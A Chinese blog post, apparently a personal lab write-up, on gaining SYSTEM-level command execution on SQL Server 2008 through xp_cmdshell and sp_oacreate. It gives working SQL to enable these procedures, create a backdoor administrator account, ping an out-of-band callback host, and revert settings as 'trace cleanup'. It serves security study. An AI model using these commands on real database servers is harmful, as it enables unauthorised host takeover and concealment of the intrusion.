2023.7.2-3-4Mssql xp_cmdshell提权

news/2024/9/8 12:26:49/文章来源:https://www.cnblogs.com/lusang/p/18327452

1.概念

Mssql和SQL sever的一个产品的不同名称。都属于微软公司旗下。而上述Mssql xp_cmdshell提权也属于数据库提权的一种。

主要依赖于sql server自带的存储过程

1.1xp_cmdshell提权

扩展存储过程中xp_cmdshell是一个开放接口,可以让sql sever调用cmd命令。
此过程在 SQL sever2000中默认开启,2005本身及之后版本默认禁止。若想使用,则先需拥有SA账户相应权限,使用sp_configure将其开启。

原理:是在xp_cmdshell的扩展储存过程,通过执行命令方式利用操作系统权限。SA是Microsoft SQLsever的管理员账号,拥有最高权限,可以执行扩展存储过程,并获得返回值。

2005的xp_cmdshell权限一般为system,2008多数为nt authority\network service

1.2xp_cmdshell提权前提
  • 拿到sa权限的账户密码
  • sqlsever服务未降权

2.环境

实验环境:Windows 7系统、SQL Server 2008版本64位

3.操作

3.1从官网下载SQL sever2008 x64 SQLExprAdva版本

Download Microsoft® SQL Server® 2008 R2 SP2 - Express Edition from Official Microsoft Download Center

SQLExprAdva(包含数据库引擎、Express Tools、Reporting Services 和全文搜索),此包包含 SQL Express 的所有组件。此包的下载大小大于“带有工具”的版本,因为它还同时包含“全文搜索”和 Reporting Services。
3.2安装sql sever环境

3.3对所有SQL Server服务使用相同的账户,然后选在system账户(决定了之后提权是否是system权限)


3.4初始化,服务器名称填写lcn-PC(同主机名)

3.5配置重启数据库

点击数据库属性,然后直接确定;之后点击重新启动数据库。

3.6添加SA用户,并修改密码

SQL Server提权需要获取SA用户权限,即设置SA用户并设置密码(123456)。

3.7设置权限,在SA服务器角色中修改最高权限为public和sysadmin。
3.8设置外联;勾选允许连接到数据库引擎并启用登录;

3.9 设置好之后重启数据库
3.10测试外联;打开SQL server配置管理器的网络设置,检查TCP/IP协议是否开启,之后使用navicat进行连接。


4.提权操作

4.1查看组件

执行操作

SELECT count(*)FROM master.dbo.sysobjects WHERE xtype='x' and name='xp_cmdshell'; #查看系统实例中是否有xp_cmdshell存储过程;返回行数>0则有,=0则无

4.2若无组件,则开启组件

执行指令:

开启:  
EXEC sp_configure 'show advanced options', 1;  #将高级选项改为1,即启用RECONFIGURE ;    #若使用with override覆盖任何已存在配置,重新配置SQL Server实例应用刚更改的参数EXEC sp_configure xp_cmdshell', 1;#同1  ,1表示启用,若关闭则为0,别的不变;
RECONFIGURE;


4.2执行命令,之后执行的命令都是以system权限执行

4.3之后执行添加用户命令操作指令,结果成功
exec master..xp_cmdshell 'net user lusang 123456 /add'; #创建用户lusang并设置密码为123456;..表示引用master数据库中的xp_cmdshell存储过程,省略指定数据库名称exec master..xp_cmdshell 'net localgroup administrators lusang /add';#将用户lusang加入管理员工作组



查看已经显示用户创建成功;##### 4.4利用完权限后,清理痕迹

执行操作将两项配置还原为0;

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;
EXEC master.dbo.xp_cmdshell 'whoami'; #显示已经关闭xp_cmdshell接口```
![](https://img2024.cnblogs.com/blog/3436932/202407/3436932-20240727203848124-1238571832.png)
![](https://img2024.cnblogs.com/blog/3436932/202407/3436932-20240727203851802-351434268.png)
### 5.Ole提权(Object Linking and Embedding)当xp_cmdshell不可用时,则可以利用sp_oacreate提权;其本身是一个很危险的存储过程,可以删除、复制、移动文件,或者是配合sp_oamethod来写文件执行cmd命令。**提权条件:系统管理员使用sp_configure启用sp_oacreate和sp_oamethod系统存储过程对OLE自动化过程的访问。**##### 5.1判断组件是否存在执行指令:select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'; #返回0证明不存在,返回1则存在5.2开启组件执行指令

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE; #使用with override覆盖任何已存在配置,重新配置SQL Server实例应用刚更改的参数

EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

![](https://img2024.cnblogs.com/blog/3436932/202407/3436932-20240727204207591-202408461.png)
##### 5.3执行组件执行指令:declare @cmd INT;EXEC sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'ping cqy1eo.ceye.io','0','true';#通过OLE Automation创建了一个WScriot.Shell对象,之后用run方式执行指定的命令行操作,ping操作,0是窗口样式参数,表示隐藏命令行窗口,true表示等待命令执行完毕。
![](https://img2024.cnblogs.com/blog/3436932/202407/3436932-20240727204227684-786297854.png)
5.4之后尝试创建用户![](https://img2024.cnblogs.com/blog/3436932/202407/3436932-20240727204238249-999801549.png)

daclare @cmd INT;
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user test1 123456 /add','0','true';

##### 5.5恢复环境,清理痕迹

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

![](https://img2024.cnblogs.com/blog/3436932/202407/3436932-20240727204319583-1426599610.png)
### 6.总结针对Mssql xp_cmdshell提权的学习实践,SQL Server2008/2012及以前版本基本都能用,但是2016或更高版本部分不能用,或者SA权限太低,导致无法提权。数据库提权的方式也不止有Mssql xp_cmdshell一种,之后更多的提权方式也是我更应该学习的地方。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/772773.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

第二次测试部分题解 (c,d,g)

c-一个欧拉函数模板题1 #include<iostream>2 using namespace std;3 4 int main()5 {6 int n;7 cin >> n;8 int r = n;9 for (int i = 2; i * i <= n; i++) 10 { 11 if (n % i == 0) 12 { 13 r = r / i * (i -…

[随笔]我的创作纪念日

今天,是我开始创作的第256天,哈哈...这刚好是8位无符号二进制的“模”,一个“轮回”。 一些心得和感悟、一些历程与经历、一些收获与体会,大家感兴趣可以看看。历程 我最开始接触这个平台大约是在2020年10月份的时候,那时我正直大三上期,我已经开始备研。附言:黎老师(我…

搭建极狐GitLab(基于Docker): 步骤整合汇总记录

执行背景: (1) CentOS7(虚拟机ISO映像文件=CentOS-7-x86_64-DVD-2009.iso); (2) repo(yum)源已切换为国内源;命令汇总:1. 安装Docker 相关命令: # 查看仓库源中可使用版本 yum list docker-ce --showduplicates | sort -r# 安装指定版本 yum install docker-ce-docker完整版本号…

【待做】【攻防技术系列+权限提升】Windows提权

Windows提权思维导图Windows提权工具 vulmap vulmon开发的一款开源工具,原理是根据软件的名称和版本号来确定,是否有CVE及公开的EXP。这款Linux的工具挺好用,但是对于Windows系统层面不太适用。 windows-exp-suggester 这款和本工具的原理一样,尝试使用了之后,发现它的CVE…

[随笔]创作4天的心得感悟

随笔。【版权声明】未经博主同意,谢绝转载!(请尊重原创,博主保留追究权) https://www.cnblogs.com/cnb-yuchen/p/18327364 出自【进步*于辰的博客】今天,3月14日,和往常一样,也不是什么节日,就是看到博友们发的动态,也有所感慨。 算一算,我接触此平台已经327天了。虽…

【待做】【攻防技术系列+网络协议】ICMP协议

ICMP协议简介 ICMP(Internet Control Message Protocol)因特网控制报文协议。它是IPv4协议族中的一个子协议,用于IP主机、路由器之间传递控制消息。控制消息是在网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然不传输用户数据,但是对于用户数据…

C141 线段树分治+线性基 P3733 [HAOI2017] 八纵八横

视频链接:C141 线段树分治+线性基 P3733 [HAOI2017] 八纵八横_哔哩哔哩_bilibili P3733 [HAOI2017] 八纵八横 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn)// 线段树分治+线性基 O(q*logq*logL*logL) #include <iostream> #include <cstring> #include <a…

将Mathtype添加到WPS中

(1)在顶部菜单栏,工具--加载项--在“模板和加载项”窗口中再点击“添加”(2)找到mathtype安装路径下面的“OfficeSupprot”,这时会看到有“32”和“64”两个文件夹,分别对应WPS软件的系统(任务管理器可以直接查看wps版本)。默认路径为下边这个:(3)如果许多功能不…

BUUCTF 3.warmup_csaw_2016

拿到题目,我们先运行一下我们发现这道题的样子和BUUCTF的rip很像,一样是让我们输入,一样是在输入超长字符串后程序会崩溃,所以我们可以猜测是一道栈溢出的问题,我们来看一下保护机制我们发现依旧是几乎没开保护机制,所以大概率是一道栈溢出的题。 我们看一下IDA我们发现最…

sql注入漏洞复现

and 1=1 正常and 1=2 报错从这就已经说明是sql数字型注入了 上sqlmap验证一下存在布尔盲注,时间盲注...... 我是在漏洞盒子上提交的,能不能通过看运气吧 下面这个漏洞已经是很久之前的了,现在已经是修复了,当时还是太年轻了......当时复现过程没有做好,截图也已经删掉了..…

【PHP系列】phpinfo里面有什么?

一、INFO_GENERAL:一般信息 1.1 版本 1.2 操作系统版本和SAPI 原创 猎豹安全中心 小豹讲安全 2021-05-25 14:30 在PHP中,我们往往通过phpinfo()函数(及可选选项)来检查配置设置和预定义变量,返回结果输出关于PHP的配置信息,其中包含了 PHP 编译选项、启用的扩展、PHP 版本、…

【学习笔记】线段树

本文冲刺 \(3000\) 行中,目前行数:\(2668\) 行。 【0】线段树简介 【0.1】线段树是干什么的 线段树是一种基于分治的树形数据结构,可以处理很多区间问题,值域问题。 【0.2】线段树的形态 线段树作为一棵二叉树,其左子节点维护的是左半区间的信息,右子节点维护的是右半区间…